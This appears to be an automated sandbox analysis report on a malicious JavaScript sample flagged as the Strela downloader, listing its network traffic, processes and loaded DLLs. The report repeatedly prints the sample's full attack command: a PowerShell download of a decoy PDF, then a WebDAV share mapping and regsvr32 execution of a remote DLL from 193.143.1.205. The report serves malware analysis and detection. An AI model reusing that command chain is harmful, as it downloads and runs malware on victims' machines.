2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49771

Source: global traffic

TCP traffic: 192.168.2.9:49771 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.9:64904 -> 1.1.1.1:53

Source: Joe Sandbox View	IP Address: 193.143.1.205 193.143.1.205
Source: Joe Sandbox View	IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.9:49760 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1370616593.000001DB9A8F4000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1372873262.000001DB9C700000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000003.1434205610.00000223C51B9000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1436192510.00000223C519B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1453606028.00000223C51BB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1453505741.00000223C519B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1453447799.00000223C5168000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1453447799.00000223C5168000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/og9
Source: svchost.exe, 00000009.00000002.2651165277.0000027D8EABE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 00000009.00000003.1435238112.0000027D94200000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7600, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17626126326939.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17626126326939.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 14444181562539231561.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7696:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_k3kyx1kb.0ih.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: ReaderMessages-journal.5.dr

Binary or memory string: CREATE TABLE GlobalState (LastSuccessfulSync DATE, HTTPModifiedDate DATE, FileLastModifiedDate DATE, TestPopulation VARCHAR(30), TestSegment VARCHAR(30), ProductName VARCHAR(30), ProductMajorVersion INTEGER, ProductMinorVersion INTEGER, LicenseState VARCHAR(15), Language VARCHAR(15), OEM VARCHAR(15), Channel VARCHAR(15) );

Source: 14444181562539231561.js	Virustotal: Detection: 16%
Source: 14444181562539231561.js	ReversingLabs: Detection: 15%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\14444181562539231561.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17626126326939.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2280 --field-trial-handle=1528,i,7314037071135786835,3798120691882214399,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17626126326939.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2280 --field-trial-handle=1528,i,7314037071135786835,3798120691882214399,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
